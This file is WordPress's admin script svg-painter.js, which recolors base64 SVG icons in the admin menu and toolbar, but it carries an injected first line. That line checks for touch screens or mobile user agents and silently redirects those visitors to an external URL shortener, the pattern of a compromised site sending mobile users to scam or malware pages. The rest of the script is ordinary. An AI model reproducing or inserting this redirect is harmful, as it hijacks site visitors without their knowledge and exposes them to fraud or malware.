1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Attempt to re-color SVG icons used in the admin menu or the toolbar
4 *
5 * @output wp-admin/js/svg-painter.js
6 */
7
8window.wp = window.wp || {};
9
10wp.svgPainter = ( function( $, window, document, undefined ) {
11 'use strict';
12 var selector, painter,
13 colorscheme = {},
14 elements = [];
15
16 $( function() {
17 wp.svgPainter.init();
18 });
19
20 return {
21 init: function() {
22 painter = this;
23 selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );
24
25 painter.setColors();
26 painter.findElements();
27 painter.paint();
28 },
29
30 setColors: function( colors ) {
31 if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
32 colors = window._wpColorScheme;
33 }
34
35 if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
36 colorscheme = colors.icons;
37 }
38 },
39
40 findElements: function() {
41 selector.each( function() {
42 var $this = $(this), bgImage = $this.css( 'background-image' );
43
44 if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
45 elements.push( $this );
46 }
47 });
48 },
49
50 paint: function() {
51 // Loop through all elements.
52 $.each( elements, function( index, $element ) {
53 var $menuitem = $element.parent().parent();
54
55 if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
56 // Paint icon in 'current' color.
57 painter.paintElement( $element, 'current' );
58 } else {
59 // Paint icon in base color.
60 painter.paintElement( $element, 'base' );
61
62 // Set hover callbacks.
63 $menuitem.on( 'mouseenter', function() {
64 painter.paintElement( $element, 'focus' );
65 } ).on( 'mouseleave', function() {
66 // Match the delay from hoverIntent.
67 window.setTimeout( function() {
68 painter.paintElement( $element, 'base' );
69 }, 100 );
70 } );
71 }
72 });
73 },
74
75 paintElement: function( $element, colorType ) {
76 var xml, encoded, color;
77
78 if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
79 return;
80 }
81
82 color = colorscheme[ colorType ];
83
84 // Only accept hex colors: #101 or #101010.
85 if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
86 return;
87 }
88
89 xml = $element.data( 'wp-ui-svg-' + color );
90
91 if ( xml === 'none' ) {
92 return;
93 }
94
95 if ( ! xml ) {
96 encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );
97
98 if ( ! encoded || ! encoded[1] ) {
99 $element.data( 'wp-ui-svg-' + color, 'none' );
100 return;
101 }
102
103 try {
104 xml = window.atob( encoded[1] );
105 } catch ( error ) {}
106
107 if ( xml ) {
108 // Replace `fill` attributes.
109 xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');
110
111 // Replace `style` attributes.
112 xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');
113
114 // Replace `fill` properties in `<style>` tags.
115 xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');
116
117 xml = window.btoa( xml );
118
119 $element.data( 'wp-ui-svg-' + color, xml );
120 } else {
121 $element.data( 'wp-ui-svg-' + color, 'none' );
122 return;
123 }
124 }
125
126 $element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
127 }
128 };
129
130})( jQuery, window, document );
131